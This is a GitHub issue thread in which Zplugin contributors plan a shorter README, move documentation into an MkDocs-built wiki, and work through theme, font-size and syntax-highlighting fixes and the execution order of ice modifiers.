Reorganize, Rephrase README.md

I feel that the README.md is too long, that it lacks some structure that would make a large amount of information better presented.
The problem is that:
a. there are many features (i.e. large feature-set),
b. the features are often swiss-army-knives and need some elaboration, if not then users might not discover the feature-set of Zplugin.
The changes doesn't have to be a complete rephrase, they can only fix some single major issue with the README.md.

How would I contribute to this? I have some ideas for how to organize the README.md but I haven't worked on github projects before so I don't know how it's usually done.

@DundarGoc: Hello. You were offering help on the README.md. Are you maybe still interested?

I am. I have a few question I'd like to ask beforehand.

Are there any prerequisites? I'm practically a beginner when it comes to zsh and shell scripting. I'm still pretty new to zplugin and don't know most of its functionality yet. I've also never contributed to a project like this before. If any of these is a deal breaker for you then let me know. Because of this I thought I'd initially organize the existing information and maybe later try to add new information as I learn more about zplugin.

I also agree that the README.md is too long and needs a rework. I'm wondering if there are any specific changes you had in mind? Even if we agree it needs a rework it's very possible we disagree on exactly what should be changed. I'd like to make sure we're on the same page.

For example, I think the "Quick Start" isn't quick enough and I think it gives the wrong impression that zplugin is only for power users. I understand the need to showcase zplugin's full potential but I don't think it's the right place to do it. When I first started using zplugin and many other zsh plugin managers I didn't care about cool things they could do, I just wanted them to work. Now that I'm more comfortable with it I'm much more interested in exploring what zplugin can do and how I can tinker with it. You only really need light, snippet and subversion to use most zsh stuff online (at least I think so) and the ice modifier is only needed it you want start being fancy.
Some other things I think can benefit a rework is the structure of the README.md itself. This may be a matter of taste but I prefer it when README:s give a good overview of the available information and isn't too wordy or technical. If I want to learn about a specific topic I'd rather the README redirect me to the relevant section instead of including it and avoid blowing up the size.
These are some of the my thoughts on it. Is there something in specific you agree/disagree with or something you'd like to add?

I am. I have a few question I'd like to ask beforehand.
1. Are there any prerequisites? I'm practically a beginner when it comes to zsh and shell scripting. I'm still pretty new to zplugin and don't know most of its functionality yet. I've also never contributed to a project like this before.

No there are no prerequisites, anyone can contribute to Zplugin.

2. I also agree that the README.md is too long and needs a rework. I'm wondering if there are any specific changes you had in mind? Even if we agree it needs a rework it's very possible we disagree on exactly what should be changed. I'd like to make sure we're on the same page.

I better keep my expectations to myself, to not limit you. Maybe I'll mention just one thing – the News section, I think it's quite important, it can be shortened (i.e. old news removed), but I'll like it in general.

   For example, I think the "Quick Start" isn't quick enough and I think it gives the wrong impression that zplugin is only for power users. I understand the need to showcase zplugin's full potential but I don't think it's the right place to do it. When I first started using zplugin and many other zsh plugin managers I didn't care about cool things they could do, I just wanted them to work. Now that I'm more comfortable with it I'm much more interested in exploring what zplugin can do and how I can tinker with it. You only really need light, snippet and subversion to use most zsh stuff online (at least I think so) and the ice modifier is only needed it you want start being fancy.

That's an interesting point of view, I agree.

   Some other things I think can benefit a rework is the structure of the README.md itself. This may be a matter of taste but I prefer it when README:s give a good overview of the available information and isn't too wordy or technical. If I want to learn about a specific topic I'd rather the README redirect me to the relevant section instead of including it and avoid blowing up the size.

I'd agree.

These are some of the my thoughts on it. Is there something in specific you agree/disagree with or something you'd like to add?

I think I like your direction, and I'm rather blank about adding anything to it.

I don't really know how this is usually done. I've created a repository at https://github.com/DundarGoc/zplugin_readme where I'll change things when I have time. Anyone reading this, feel free to have a look and comment on what you think.
Right now it's not ready to be used since I've basically nuked half of the existing documentation but my hope is it'll be somewhat presentable soon.

I've made a repo at https://github.com/DundarGoc/zplugin_readme. I haven't read any wishes or requests for the README so I'm just writing it as I think makes most sense. If you have any ideas or thoughts just tell me here or in the repo and I'll fix it if I think I can do it.
@psprint: I've changed my approach. I was first thinking of doing an entire rewrite but I realized it would be too ambitious. Instead I've decided to make more gradual changes from the existing documentation. I'm only pushing complete versions of the README so if you like it you can start using it. Let me know if you have ideas for how we should proceed. Otherwise I'll just keep on writing the README as I think makes the most sense to me.

I must say that I've like your current changes very much. Moving the News section to the top – a great idea, it feels so much nicer this way. Also, the reorganization of "Getting Help" is cool too, very logical.

I've started to use the README with few changes:

I've restored the section "Using Oh-My-Zsh Themes", I think it's useful for new users that come from OMZ
I've restored the section "IRC Channel", it is very short and the channel really is alive.

I've restored the section "Using Oh-My-Zsh Themes", I think it's useful for new users that come from OMZ

I agree. I didn't remove the section but moved it to the INTRODUCTION.adoc. One reason is that it really is an introductory text and the other is that there already was a section about OMZ so I thought it kinda made sense to put it there. I just want to make sure you didn't miss it. Regardless, I fully support any decision you go with.
I also wanted to ask if you'd prefer me doing pull requests instead from now on or if you have another preferred method?

Hmm, moving the section to INTRODUCTION.adoc, this is a fully logical decision (like you said, it is an introductory text), however, I will think about this, as I think that it's sometimes good to not go with logic, e.g. in this situation allowing user to quickly see that he can easily use OMZ themes might be a good thing. But, on the other hand, who will not look into INTRODUCTION.adoc? Who will avoid looking there? I guess no potential Zplugin user. So I might agree on moving it there. The README will be cleaner and the level of how it's organized will increase.
I think that the current method of working is good. If you however prefer pull requests, then we can (with a microscopic pain I think) switch to them.

I think it's perfectly reasonable to keep the OMZ section in the README, at least for now. The INTRODUCTION.adoc is poorly integrated into the README in my opinion so moving the section there isn't optimal either. Let's drop this or save this issue for later.

I think that the current method of working is good. If you however prefer pull requests, then we can (with a microscopic pain I think) switch to them.
I like the current method and it sounds like you do too. There's no reason to change it, I just wanted to check.

I'll do a reset of sorts where I'll copy the current README of Zplugin to make sure both versions are in sync and work from there.

Also heads up, the news section you copied from me was old so the two newest news you wrote is gone i.e.
02-07-2019
Cooperation of Fast-Syntax-Highlighting and Zplugin – a new precise highlighting for Zplugin in F-Sy-H.

01-07-2019
atclone'', atpull'' & make'' get run in the same subshell, thus an e.g. export done in atclone'' will be visible during the make.

I will include them in my repo if you want to copy it. I'll make sure to update the news section more often to avoid this.

@psprint (By the way, do I need to @ you or are you getting these)?
Anyway, I think what the Zplugin documentation needs the most is to centralize all the available information into one place besides the README. I believe the Github wiki is a good starting point for this.
I think this is important for a couple of reasons:

It gives an overview of all the available information. The amount of information is already staggering and the development of Zplugin doesn't show any signs of slowing down. This isn't a guarantee that no info gets lost, but I think it will decrease the risk.

It will decrease some of the "bloat" of the README (couldn't find a better word). I think it'll be easier to shorten the README by making the wiki more important. This because we can remove the information from README without fearing information loss; instead the information would be on the wiki the reader should already be reading.

I've made a wiki https://github.com/DundarGoc/zplugin_readme/wiki which you can check out. I've gathered the INSTALLATION, INTRODUCTION and the other documents there. It doesn't look great currently if I'm being honest but I think with time this could really work. I've made the wiki repo-independent (i.e. you can copy paste the repo and it should still work on your repo). Take a look and say what you think.

I really like the idea (being positively surprised by your current wiki proposal, with the Code documentation and other), with the slight hesitation of reducing the README's role. However it might be a good idea, to present even an information-empty README because it will boost people to overcome the reluctance of opening a documentation page (i.e. the wiki, which I think appears more like an documentation to the users, and less like  a brief information, like the README). After overcoming this obstacle they'll gain access to hopefully good information source and become drawn into it.
So let's see where will this take us, how much of the README will get moved into the wiki.
PS. Yes, I'm getting the notifications without the @.

Maybe I came off as too sure, I'm a bit hesitant myself honestly. I still think there's a value in containing all the available information outside of the README in one place, even if we don't end up removing anything from the README itself. I suggested Github wiki mostly out of convenience and nothing more. If you or anyone else is unsatisfied with something we can easily change back to the way things were.
In any case, thank you for being open-minded about the whole thing.

I've changed all links in the README to go to the wiki instead of the documents in the repo. I've made the links relative so they should go to the correct wiki (i.e. the README links to the wiki of the repo), so it should work for both of us. The drawback is that the links won't work locally so the only way to confirm it links correctly is by pushing it and then clicking the link in the repo. I'll change the links to be absolute if you prefer it that way instead.

The relative links are ok. Great idea to link to the ice-modifiers at the wiki.

Quick update: I've mostly moved around info between README and wiki and tried to remove duplicate info. I'm starting to edit more of the contents of the documentation (instead of just changing the order of the sections). If you think I'm overstepping my role let me know and I'll be more conservative.
 No like really, I'm kinda baffled at how underdeveloped it is. I guess it suffices for now since we're just testing this whole wiki thing but if we decide later on that it's a good idea then we might need to move it somewhere else (maybe the reddit wiki is better?).

I think that you can edit and extend the contents, I'll verify if it's correct.
Yes I've had a similar though today on the Github wiki, that's why I've asked this question, sadly no reply yet: https://www.reddit.com/r/github/comments/cedn9l/is_it_possible_to_build_github_projects_wiki/

Ok cool!
I like the theme of the site you linked, reminds be a bit of the Dracula color scheme. It's too bad nobody answered though. I'll keep an eye out and let you know if I find any interesting solutions.

I checked out MkDocs like the guy on reddit suggested. It's very straightforward and intuitive honestly. I tried it out and think it came out pretty decent.
It has a few annoying quirks like not being able to write texts for the section headers themselves or not being able to use asciidoc files but it's nothing close to the github wiki which is straight up broken. It also has the added benefit of being in the same repo as Zplugin but on gh-pages branch. It has a few themes but most of them are pretty "safe" and kinda bland personally. All in all, it's a major upgrade from github wiki and it's easy enough that we can start using it pretty much whenever. I'm still interested in trying out other static site generators like Jekyll and Hugo later since I've heard good things about them, but we'll see.
I can't send you the source code for the wiki since I accidentally deleted it with a force push (it finally bit me in the ass) but I can fix it quickly if you like it and want to use it.

Removed previous post because of some mistakes from my part.
Tried out MkDocs. We can have the wiki in the master branch in docs folder. You only need to copy the docs folder, mkdocs.yml and preferably put /site in your .gitignore. You can easily see the changes in my repo. Afterwards you only need to do mkdocs gh-deploy and the site will be up (it will replace anything on your gh-pages). Maybe you know all this, but I thought might as well just say it in case.

Thanks, I was little short on time today, but tomorrow it'll be back to
normal and I'll take actions on this
pt., 19 lip 2019, 17:14 użytkownik DundarGoc<EMAIL_ADDRESS>napisał:

Removed previous post because of some mistakes from my part.
Tried out MkDocs. We can have the wiki in the master branch in docs
folder. You only need to copy the docs folder, mkdocs.yml and preferably
put /site in your .gitignore. You can easily see the changes in my repo.
Afterwards you only need to do mkdocs gh-deploy and the site will be up (it
will replace anything on your gh-pages). Maybe you know all this, but I
thought might as well just say it in case.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/zdharma/zplugin/issues/88?email_source=notifications&email_token=ABOE4CCMBD5BFVTOBI7HC3TQAHK65A5CNFSM4F7YERI2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD2L5R2A#issuecomment-513267944,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABOE4CBVOFDXNDQ3PSDBKKDQAHK65ANCNFSM4F7YERIQ
.

I forgot to mention, you need to build the site with mkdocs build before you deploy it.

Yeah I agree with the conclusion about the static site generator. Yesterday I was looking for an AsciiDoc & Markdown supporting generator. That turned out to be a too much freedom to demand, so there are either MD or AD supporting generators. I've found out about Antora which is written about authors of Asciidoctor, but didn't have time to check it out. So the basic message is that while I like and appreciate the MkDocs result, I find it little too simple when compared to the site that initiated the idea for me, the http://zunit.xyz. I've now tried to just determine the generator's that has been used with it, but with no success. I'm not saying that I would use exact the same theme with the generator, though. I might get used to the MkDocs result when a single change could be imposed on it – to use slightly larger fonts on the menu on the left, and not that larger fonts for the body.

I'm looking into other options such as Jekyll which supports both markdown and asciidoc (ish, you need a plugin for it). I wasn't prepared for the difficulty spike between MkDocs and Jekyll/Hugo to be honest. I think I can come up with a decent site but it'll probably take a bit of time considering the difficulty and because school starts next week.
I'll take a look at Antora after I've fooled around with Jekyll and it doesn't work out.

I've updated the readme & wiki, and also deployed the mkdocs build at http://zdharma.org/zplugin/site/.  The generator for the zunit site is https://github.com/carrot/sprout with theme: https://github.com/molovo/sprout-roots.

If needed I have heavy experience with Jekyll, but it might be a bit overkill for such a task.

That are good news. Do you maybe know a Jekyll theme that has a similar
modern look to the zunit.xyz site? Also, how to support asciidoc in Jekyll,
will it be a good support?

This seems like a close fit in terms of layout, I could probably spend more time looking or just tweaking this: https://github.com/CloudCannon/hydra-jekyll-template
Would take some time to recreate the special menuing if that's what you're after.
As for asciidoc, GitHub pages doesn't support it natively but is easily accomplished by building / deploying the site either from local repo or using something like Travis CI. An example travis repo: https://github.com/asciidoctor/jekyll-asciidoc-quickstart
I don't have enough experience with Antora to say one will be better to use than the other, but I don't think themes for either one will be a problem.

The theme is nice however it reminds me about hydra from the Agents of
Shield series ;) No really I'm a little superstitious person and would want
to not use that name in projects. Cool that adding asciidoc support to
Jekyll is that easy.

@psprint The image in section Updating Zplugin and plugins doesn't work. I have the updates.png in doc/img folder if you want it. Since you deployed it I take it you want to use the mkdocs over the github wiki, at least until we fix a better solution. I'll focus on changing the links so they go to the new wiki.
@robobenklein Nice to have you on the team buddy.

Yeah it's nice to have @robobenklein on the team!
@DundarGoc: Thanks for pointing the problem with update.png. Was it different from the one from the wiki? I've used it to fix the problem + I've added a larger black border to it.

Nah, it's the same image as wiki. Looks great!

Since you deployed it I take it you want to use the mkdocs over the github wiki, at least until we fix a better solution. I'll focus on changing the links so they go to the new wiki.

Yes I can agree to MkDocs, it's nice, moderate-nice but still nice, solid.

Oh don't get me wrong, MkDocs is bad and we should stop using once we find a better solution. My thought is that we should use it for now because MkDocs>Github Wiki. If Robo makes a website we definitely should use it immediately.
I tried making a site with Antora. I got it working pretty easily, it's on the same difficulty level as MkDocs. I don't know about how many themes there are but considering MkDocs doesn't have many anyway then Antora is probably better than MkDocs but I haven't had the time to test it thoroughly.
Anyway, I think I'll take a break with the static site searching for now. Since Robo wants to jump on the train then I'll let him handle it and instead focus on the content of the README/wiki, which still need a lot of attention.

Can the Antora's result be viewed somewhere?

Nah sorry, I removed it. The demo playbook I used looked exactly like on their webpage.
I've tried playing around with MkDocs (maybe wrong approach in hindsight but whatever). You can take a look here. Feel free to copy any elements you like, I've written each change in commit messages.

The result is pretty nice. I like how the code is highlighted on the
Example OMZ Setup page. Did you do anything to enable it? Finally one of
the ideas behind ice modifiers and their form - that text editor will
highlight strings wrapped in quoting - has its confirmation.
One more thing. I was viewing on mobile and noticed that the ice commands
should quite immediately have their lines break with the backslash because
on mobiles the long lines go off screen and have to be scrolled, which is
very uncomfortable.

I already had all programs intalled for Antora so building the site back up was quick. Here's the demo of Antora. The default theme is plain but not boring, I kinda like it.

I like how the code is highlighted on the Example OMZ Setup page. Did you do anything to enable it?
Yeah, I used the CodeHilite extension for mkdocs and I used a custom CSS copied online to change the highlight colors. I still think the asciidoc highlighting was better unfortunately but oh well.

One more thing. I was viewing on mobile and noticed that the ice commands
should quite immediately have their lines break with the backslash because
on mobiles the long lines go off screen and have to be scrolled, which is
very uncomfortable.
Huh, weird. Let me check it out.

I feel dumb. I just realized a lot of the seemingly unnecessary elements I removed was there specifically to make the mobile version usable. As it is my version of the wiki is busted, I wouldn't use it right now if I were you :).
The scrolling is annoying. I was looking for a solution that would have different wrapping depending on platform but nothing came out. I'll fix it another day, it's getting late.

It sounds like Antora is working in the technical side, I'd be fine with learning to develop / edit themes for that if you want to go in that direction.

That would be great! I prefer Asciidoc to Markdown because of the bigger potential that it has and gifts like automatic TOC or nice headers. It would be great to move the wiki to an Antora based webpage, as I (yet blindly) trust the creators of asciidoctor.
BTW. @DundarGoc, i recall that you were removing the headers and appendixes from Asciidoc documents. Can I ask why? Is it because the headers aren't rendered on Github, and the revision history in the appendix doesn't look good?
As for the scrolling on mobiles problem, I think that the solution is to format instead of this way:
zplugin ice atclone"dircolors -b LS_COLORS > clrs.zsh" atpull'%atclone' pick"clrs.zsh" nocompile'!'
zplugin light trapd00r/LS_COLORS

this way:
zplugin ice atclone"dircolors -b LS_COLORS > clrs.zsh" \
          atpull'%atclone' pick"clrs.zsh" nocompile'!'
zplugin light trapd00r/LS_COLORS

I think Antora sounds like a good fit. Even if @robobenklein creates a banger website in Jekyll (which I'm convinced he's more capabale)

Antora sounds like a good fit. It's asciidoc so it's more powerful than markdown (and by extension probably MkDocs as well). It also seems pretty straightforward to make it work. Here's my proposal:
@robobenklein: I think you should make a demo website with Antora. I personally don't think you need to try to perfect the website in any sense just now, but rather get a feel for it. If you think Antora is a good fit for us then we should start using it whenever possible. What do you think?
In the meantime I'll try to fix the remaining kinks with the Mkdocs website so we can make a full move from the Github Wiki. I'll try to be more conservative since I don't want to put more time on it than necessary since it seems likely we'll move to a new static site generator soon.
@psprint: Good guess. The headers was purely because Github Wiki is dumb, I didn't want to remove it. The appendix was as you guessed a personal preference. I don't think the reader is interested in knowing the minute changes of the document. The edits I make are just suggestions, if you think it should stay on then it should stay on. Just let me know in that case so I don't make the same mistake again.
Yes, I'll fix the scrolling problem.

The site should be working now. Tell me if you want the code blocks even shorter.

Whow, that's nice! I think that even the fonts are now larger – did you do anything for this? The menu font is optimal, while the text size could be slightly larger. If that means that the two sizes will be the same, then n/p with that. One more thing: could the gradient start with some other color than the afaik turquoise green? It gave me a repelling impression at the first moment.
So basically, the only motivation to switch from mkdocs would be now the asciidoc of Antora and also potentially even better themes. I think that it's worth to do this if we will manage to accomplish it.
As for the previous post and the note about users not needing to know changes – the plugin standard document is different, it is good to know if e.g. anything changed from our last visit to the site.

Yup, made the menu and sidebar fonts larger since you wanted it. Changed the colors to be slightly "warmer" or whatever you call it. If you want more specific color palette you can try something like this and just send me the color codes or put them linear-gradient in theme.css if you want to see the changes for yourself. I'll change the font size tomorrow or when I have time.
OK it kinda makes more sense for plugin standard document. I haven't read it yet so I probably shouldn't have removed it. It just felt out of place when I read the appendix on more introductory articles, it's probably just that I'm not used to it. I don't have strong opinions on this honestly, I'm OK with and without appendix.

I've made the text fonts 10% bigger.

The font sizes are OK. I wonder, if the setting influences both the mobiles and desktops? Because if yes, then the sizes are very OK – I've tested on a mobile and they were optimal. If no, then I would tune-up a little bit, but I'll do it locally and report back.
I think that the site looks beautiful. The 3-area layout (the menu, the sub-menu on the left, the document's TOC on the right) is probably the most effective and nice looking layout that I've ever came across. I don't think that Antora can pair up to that, at least not by default if @robobenklein wouldn't create such theme, so that we can put Antora to the side. Still, entering the universe of Asciidoc possibilities is tempting, so I'm still waffling around this.
@DundarGoc: The syntax highlighting could be better. Are there some other syntax highlighters for MkDocs.

@DundarGoc: I am thinking ‐  is it possible to add me to the repo's
collaborators? I then would edit the pages in place and sync to Zplugin,
while currently I'm editing on Zplugin and always have doubts if you
noticed the changes or merged them properly (to be clear: there weren't any
signals for any of that) and this makes syncing back a little pain.

I wonder, if the setting influences both the mobiles and desktops?

Yup, it affects both mobile and desktop the way it's implemented now. It's possible to increase only on one platform, it seems very straightforward. I'll experiment with them later and see what I can come up with.

I don't think that Antora can pair up to that, at least not by default if @robobenklein wouldn't create such theme, so that we can put Antora to the side.

I don't think this is that big of a problem to be honest. There's nothing stopping us from customizing whatever default theme Antora has in the same way. Customizing the mkdocs site was relatively fast I think, and half of that time went to figuring out CSS.

The syntax highlighting could be better. Are there some other syntax highlighters for MkDocs?

This one's gonna be rough, at least more so than the others. I've tried fixing it for an hour or two and haven't made much progress. I've read that it's possible but I suspect we need to create our own highlighter that recognizes certain keywords like "zplugin". We may need to put this on the shelf for now until I learn more about this.

I am thinking ‐ is it possible to add me to the repo's collaborators? I then would edit the pages in place and sync to Zplugin, while currently I'm editing on Zplugin and always have doubts if you noticed the changes or merged them properly (to be clear: there weren't any signals for any of that) and this makes syncing back a little pain.

Sure! I've never used collaboration before, is the anything in particular I should be aware of? I for example have a bit of a nasty habit of often force pushing, I'm guessing I should take it easy with it from now on? Stuff like that.

I don't think this is that big of a problem to be honest. There's nothing stopping us from customizing whatever default theme Antora has in the same way. Customizing the mkdocs site was relatively fast I think, and half of that time went to figuring out CSS.

Yeah, but from my experience with my sometimes poor aesthetics– (or maybe more web–) skills, it would require a lot of effort to obtain exactly the same look or at least feel.

The syntax highlighting could be better. Are there some other syntax highlighters for MkDocs?

This one's gonna be rough. I've tried fixing it for an hour or two and haven't made much progress. I've read that it's possible but I suspect we need to create our own highlighter that recognizes certain keywords like "zplugin". We may need to put this on the shelf for now until I learn more about this.

Too bad, the thing sounds great.

Sure! I've never used collaboration before, is the anything in particular I should be aware of? I for example have a bit of a nasty habit of often force pushing, I'm guessing I should take it easy with it from now on? Stuff like that.

I also like to force push but recently I've decided to drop this. I think that you might often get away with force pushing as I'm not sure how much active I'll be. I will manage to dig out from pulling an outdated/overwritten commit.

Edit: I've sent an invite, should be in your mail.

Thanks!

Managed to make fonts larger only on computers. Technically it makes fonts larger on all devices with screen width above 768px, a number which I just took randomly from internet. But it seems to work, at least for my devices.
I tried a second round on syntax highlighting and no luck. Apparently the syntax highlighter isn't decided by mkdocs itself but by the theme. The person making the material theme (the one we're using) chose Pygments, others use e.g. highlight.js. It's bizarre since each theme almost seems to have their own ruleset regarding how files are imported/used which makes the whole thing really confusing. If you really want syntax highlighting I could ask the person making the material on wtf we're supposed to do, but otherwise I'm dropping this since I think the time could be better spent on improving other parts of the wiki/readme.

Third time's a charm :)

Cool :) I've updated the site and the README. I cannot see the highlighting on the site, why?

You need to copy the Makefile, the high.sh and the higlight folder from my gh-pages and then run make. It'll be saved in a folder named "wiki" but you can just change it to site in the Makefile.

Forgot to mention, the documents for the wiki are in gh-pages now since deploying with mkdocs kept removing everything.

The url should be to /wiki/..., agreed. Ok, I've deplyed the new version of the site, with the highlighting. Also added a new page on declare-zsh.

You need to have the "highlight" directory in the repo for syntax highlighting to work.

You can otherwise just download my repo and replace it with yours, you don't need to build it. If you only want the wiki you can just put the "wiki" folder in your repo.

The repo doesn't include the declare-zsh page, so I've tried on adding the highlight directory: https://github.com/zdharma/zplugin/tree/gh-pages. However, the syntax-highlighting doesn't work: http://zdharma.org/zplugin/site/Multiple-prompts/

The reason syntax highlighting isn't working is that site/wiki folder gets overwritten every time by mkdocs when you build the site. That's why it isn't enough to just to do mkdocs build, we need to add html code to each index.html in order to import the highlighting files. Since I wanted to avoid doing it manually I just wrote a half-assed Makefile to do it. So I'm no longer writing the command "mkdocs build" but just "make" in order to make the edits. I'm sure there's a more elegant solution to this but it's the best I could come up with.

Ah, I have too written myself a Makefile and I was entering make thinking
that's it's your Makefile that's being run
niedz., 28 lip 2019, 23:04 użytkownik DundarGoc<EMAIL_ADDRESS>napisał:

The reason syntax highlighting isn't working is that site/wiki folder gets
overwritten every time by mkdocs when you build the site. That's why it
isn't enough to just to do mkdocs build, we need to add html code to each
index.html in order to import the highlighting files. Since I wanted to
avoid doing it manually I just wrote a half-assed Makefile to do it. So I'm
no longer writing the command "mkdocs build" but just "make" in order to
make the edits. I'm sure there's a more elegant solution to this but it's
the best I could come up with.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/zdharma/zplugin/issues/88?email_source=notifications&email_token=ABOE4CD6V7XKBU4OJV5MBLDQBYCXDA5CNFSM4F7YERI2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD27GRFA#issuecomment-515795092,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABOE4CEUG26YFFYP3HBBZJTQBYCXDANCNFSM4F7YERIQ
.

I got the damn highlighting to work through mkdocs so it's possible to preview with mkdocs serve again. I've removed the Makefile and other non-needed files. You can now build it with "mkdocs build -d wiki" and it should be enough.

I spoke too soon, never mind the last post.

It seems to work for me, the mkdocs serve, also with syntax-highlighting.

I've already done that. Nah, that should be it I think.

Ah, right, I didn't pull. Thanks!

BTW. What happened to the reddit post about themes giving errors? Do you maybe have the post still somewhere?

I removed it. I assumed there weren't much interest in it and was unsure if it belonged there in the first place. Maybe I was too hasty :).
Nah post is gone, but I can recreate it quickly. But yes, the gallery needs a serious update or something about my configs are off.

Yes I would update the gallery, if you were that kind and recreate the post

Fixed. The call was missing the silent ice.
Bad decision to include it in the first place, removed. The code was really bad, and it was calling the compinit itself, hence the problems with the completion.
It was a mistake to include the prompt_zinc_compile function in atclone'' and atpull'', so I've removed it. The plugin isn't loaded at the time when atclone'' fires so the function cannot be defined. I didn't have had problems with it, so I've left it.
For p10k, I've included a comment what to do if the wizard completes.

I have a problem with headers. On the old site they're rendered like I would want them:
http://zdharma.org/zplugin/site/INTRODUCTION/
but on the new, /wiki/... site they're rendered with horizontal rules, plus also that the rules are broken (at least in my Firefox) - right rule is in the next line, under the left rule:
http://zdharma.org/zplugin/wiki/INTRODUCTION/
What can be the cause of different results from the site builds?

The rules are broken because the permalink is on the right of the header. Removing the permalink restores the header, but I thought that permalinks were more important so I just removed the horizontal rules for now.

I cannot see the commit that removed the horizontal rules, did you push it?

Yes.
No worries. I got powerlevel10k to work now, thanks for the help.

n/p
I've switched the README to use the /wiki links. However, syntax highlighting doesn't work. Do you maybe know why?

You don't have the "js" folder included with "init.js" and "syntax-highlighting.js".

Thanks, it's fixed

I wonder why did you remove the "zplg" alias from introduction?

Syntax highlighting was broke and removing zplg helped a bit. Syntax highlighting works now so it's safe to move it back in. I'll fix it.

Great.
I've just pushed the wiki and syntax highlighting doesn't work. Maybe you know why?

Weird. It seems to work when I look at the official wiki. Maybe it's browser specific?

I'm not sure, but I have a strong suspicion it's the new "init.js" that's the problem. I've pushed the old version, can you try replacing it and check if it works?

No it's not that, the s-h still doesn't work

I installed Midori, it doesn't work there but it still works on chrome. I must have changed something that made the s-h wonky without realizing it. Let me play around with it and see if I can solve it.

What browser are you using?

The highlighting works on firefox now which it didn't before. Can you test and see if it works for you as well?

Figured out the problem, turns out only chrome supports regex lookbacks and I just assumed other browsers did as well for some reason.
I'm trying to add a add/modify syntax rules to make it more consistent so that e.g. parts of a repository name doesn't get highlighted. I tried to make highlighter differentiate between the ice and command load with OK success, but without lookbacks it's going to be tougher. I'll se what I can do. Sorry if this took a lot of your time.

Sorry for the delay. The s-h is working now, thanks. No, it didn't take my time, I was just noticing and reporting to you

Ok great, glad to hear it.
Thanks, pretty much stumbled on the inline by accident so that was nice.

I read the commit message. Is the s-h working OK now or is it still broken?

It is working if I remove the superfences extension (which I did temporarily)

Ah ok. I was going to remove it anyway since it didn't work as I wanted it to, so it works out :)

Ok :)

I'm confused about the different ways to use ice-mods: "...", '...', $'...' etc. In the Introduction, atpull section, it says

For exclamation mark to not be expanded by Zsh in interactive session, use '...' not "..." to enclose contents of atpull Ice-mod.

Doesn't this mean  '...' always works for all ice-mods while "..." only works sometimes? Then there's really no reason not to use '...' and no reason to recommend anything but '...' .

'...' quotes everything while "..." allows to use variables. I have to
update f-sy-h so that the variables are highlighted inside " strings.
wt., 6 sie 2019, 13:22 użytkownik DundarGoc<EMAIL_ADDRESS>napisał:

I'm confused about the different ways to use ice-mods: "...", '...',
$'...' etc. In the Introduction, atpull section, it says
For exclamation mark to not be expanded by Zsh in interactive session, use
'...' not "..." to enclose contents of atpull Ice-mod.
Doesn't this mean '...' always works for all ice-mods while "..." only
works sometimes? Then there's really no reason not to use '...' and no
reason to recommend anything but '...' .
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/zdharma/zplugin/issues/88?email_source=notifications&email_token=ABOE4CCOMGLLKOACZIV6ISLQDFNGDA5CNFSM4F7YERI2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD3U2DUY#issuecomment-518627795,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABOE4CHNK73JVE2NQQG5BSDQDFNGDANCNFSM4F7YERIQ
.

By variables, do you mean things like PATH and FPATH? Aren't those unrelated from ice mods?

Yes, things like PATH. Sometimes the value of the variable needs to be passed to an ice mod, like make"PREFIX=$ZPFX". I could write a code that would perform this expansion on the passed string, but it would be hard in general. Currently, the additional expansion is being done only on the pick'' ice and only for the ZPFX parameter, so one can do pick'$ZPFX/bin/prog'.

OK, I see. Things are never as simple as they seem at first, are they :). That was a great explanation by the way, thank you.

I don't have a preference other than consistency and I interpret your message that you prefer the single one. Did I understand correctly? If so I'll change them.
Also, font ligatures: yay or nay?
before:

after:

before:

after:

Cool that we have an agreement on the ellipsis. As for the font ligatures, I think that the before version is better.

Quick question about the ver ice. It says it works with both plugins and snippets, is it supposed to only be plugins?

Ah, yes, it is so – only plugins

I'm trying to understand the order execution for ice mods. Have I understood it correctly that the procedure changes slightly depending on if you're cloning vs updating a plugin?
When cloning a plugin:
(clone plugin) -> atinit -> make'!!' -> mv -> cp -> make! -> atclone -> make -> (load plugin) -> src -> multisrc -> atload
When updating a plugin:
atinit -> if[new commit] then [(update plugin) -> atpull! -> make'!!' -> mv -> cp -> make! -> atpull -> make] -> (load plugin) -> src -> multisrc -> atload
I'm also wondering if make ice is only run when there's a new commit or if it's always run. It doesn't say explicitly that it's only run when there are new commits but I find it weird that it's the only exception out of all the ice mods.

When cloning a plugin:
(clone plugin) -> atinit -> make'!!' -> mv -> cp -> make! -> atclone -> make -> (load plugin) -> src -> multisrc -> atload

That's correct.

When updating a plugin:
atinit -> if[new commit] then [(update plugin) -> atpull! -> make'!!' -> mv -> cp -> make! -> atpull -> make] -> (load plugin) -> src -> multisrc -> atload

So the current README is misleading – when updating a plugin no plugin load is done. So the list is:
if[new commit] then [(update plugin) -> atpull! -> make'!!' -> mv -> cp -> make! -> atpull -> make]

OK, good to know. And for only loading a plugin normally (i.e. no cloning or updating), is it like this then?
atinit -> (load plugin) -> src -> multisrc -> atload

Yes

Heads up: I noticed when I checked out completions, the command cclear isn't included in zpl help.

Do you have any suggestions or thoughts on what I should focus on next? I was thinking of shrinking the README by e.g. moving the "Zplugin Module" or parts of "Extending Git" (the examples) to the wiki but I'm not sure.

I guess I could rephrase that as two questions instead since that's what it essentially is.

How do you think we should proceed from now on?

Any changes you want to avoid like the ones in the previous post?

I'm feeling that investing time into the wiki's contents is what could be done. We have a great appearance and now it can grow with contents. But the README could be also gradually improved like it is now.

I think that the part about module could be shrank, but in general it should stay in the README. I think that it conveys the message that Zplugin has such module, and also the fact that it can be used without Zplugin.
a. As for the Extending Git, I'm not sure. It might be a good impression when showing that Git can be extended (in principle and also by using Zplugin) and that it can be done easily. This could draw people to Zplugin.

Maybe we could develop a plan of what good-impression things to leave in the README. Things that technically belong to the wiki, by by they usefulness to making Zplugin more popular existing in the README. With such a plan (basically, at first layer, an enumeration of things) we could then gradually improve README to follow it.

